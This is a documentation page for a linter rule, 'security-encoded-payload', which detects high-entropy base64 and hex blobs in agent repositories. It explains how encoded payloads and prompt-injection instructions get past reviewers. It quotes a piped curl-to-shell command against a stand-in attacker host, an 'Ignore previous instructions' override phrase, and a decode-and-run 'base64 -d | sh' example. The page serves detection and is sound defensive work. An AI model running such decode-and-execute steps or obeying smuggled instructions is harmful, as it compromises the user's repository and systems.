Skip to content

security-encoded-payload

Detect long high-entropy base64/hex blobs that can smuggle encoded payloads

Severity warning (auto)
Autofix -
Since v0.17.0
Category Hidden-Content Validation

Why

An attacker who wants to smuggle a payload into an agent repository cannot write curl https://evil.example/x | sh in plain text — keyword scanners and human reviewers catch that. The established workaround is to encode the payload: ship a long base64 or hex blob in an instruction file alongside a harmless-looking "decode and run this" step. The 2025 Shai-Hulud npm worm used exactly this technique, hiding its bootstrap script as an encoded string that a lifecycle hook decoded and executed. Prompt-injection attacks use the same trick against agents directly: encoded instructions slip past review because nobody reads 200 characters of base64.

The hooks-dangerous rule catches the decode step (base64 -d, eval) in hook commands. This rule catches the payload itself — a long, high-entropy base64, base64url, or hex run anywhere in agent-visible content, including code fences and frontmatter values, where such blobs have no legitimate reason to exist. Base64url (the -/_ alphabet JWTs and web tokens use) is scanned as its own alphabet, so url-safe encoding is not an evasion. Each alphabet is scanned separately rather than as one union — no decoder accepts a run mixing / with -/_, and the union would flag long URL paths (…/test-platform-results/pr-logs/pull/30393/…) that legitimately mix both.

Entropy gating keeps the rule quiet on non-payloads: random encoded data measures ~5.7-6.0 bits/char (base64) or ~3.8-4.0 (hex), while repeated filler like AAAA… measures near zero and ordinary prose or URLs stay far below the thresholds. Runs containing no digit at all are also skipped — real encoded data of qualifying length essentially always contains digits, while long digit-free runs are concatenated natural text (a camelCase identifier, a deep /src/main/java/... path). Two known-legitimate blob shapes are exempt: data-URI images (data:image/png;base64,… badges and logos) and integrity pins (integrity="sha384-…" SRI attributes, image@sha256:… digests). The exemption is anchored to the whole encoded token, not the sub-run a pattern happens to match, so an interior /-bounded fragment of a real image blob is still recognized as part of the exempt data URI.

Entropy alone cannot catch hex-encoded text: hex of printable ASCII constrains high nibbles to 2-7 and measures only ~3.2-3.6 bits/char, at or below the hex gate calibrated for random hex — so a hex-encoded curl … | sh bootstrap or an injected Ignore previous instructions… string would slip past on entropy. A hex run below the gate is therefore decoded: if it resolves to ≥90% printable-ASCII bytes it is flagged as an encoded text payload regardless of entropy. Random hex (commit SHAs, sha256/sha512 digests, packed binary) decodes to mostly non-printable bytes and is never rescued this way.

Blobs wrapped across multiple lines (PEM-style 64-char lines) are not detected in v1 — the run must sit on a single line.

Examples

Bad:

## Setup

Before running tests, initialize the environment:

    echo "cGF5bG9hZC1oZXJlLi4u<170 more chars of base64>" | base64 -d | sh

Good:

## Setup

Before running tests, initialize the environment:

    ./scripts/setup-test-env.sh

A reviewed script in the repository does the same job with nothing hidden.

Not flagged (legitimate blobs):

![logo](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA…)

<script src="https://cdn.example.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"></script>

Configuration example

rules:
  security-encoded-payload:
    min-length: 120           # minimum run length considered (floor: 16)
    entropy-threshold: 4.5    # bits/char gate for base64 runs
    hex-entropy-threshold: 3.4  # bits/char gate for hex runs
    hex-ascii-ratio: 0.9      # min printable-ASCII fraction a sub-gate hex
                              # run must decode to before it is flagged;
                              # set above 1.0 to disable the decode check

Raise min-length if your content legitimately embeds long encoded values (for example, protocol documentation with real sample tokens); lower it to tighten the audit on repositories that should contain no encoded data at all.

How to fix

Decode the blob (in a sandbox — never by executing it) and identify what it contains:

  • Malicious or unexplained: remove it and audit the repository history for how it got there.
  • A script or config the instructions need: commit the decoded file to the repository as reviewable plain text and reference it by path.
  • A legitimate encoded value (test vector, sample ciphertext): move it out of agent context into a data file, or raise min-length above its length after review.

Configuration

rules:
  security-encoded-payload:
    enabled: auto  # true | false | auto
    severity: warning
Parameter Description Default
min-length Minimum length of a base64/hex character run before it is considered a payload candidate (floor: 16) 120
entropy-threshold Minimum Shannon entropy (bits/char) a base64 run must reach to be reported; random base64 measures ~5.7-6.0 4.5
hex-entropy-threshold Minimum Shannon entropy (bits/char) a hex run must reach to be reported; the 16-symbol alphabet caps at 4.0 3.4
hex-ascii-ratio Minimum fraction of printable-ASCII bytes a hex run below the entropy gate must decode to before it is reported as an encoded text payload; set above 1.0 to disable the decode check 0.9

Run skillsaw explain security-encoded-payload to see this documentation and the rule's effective configuration in your terminal.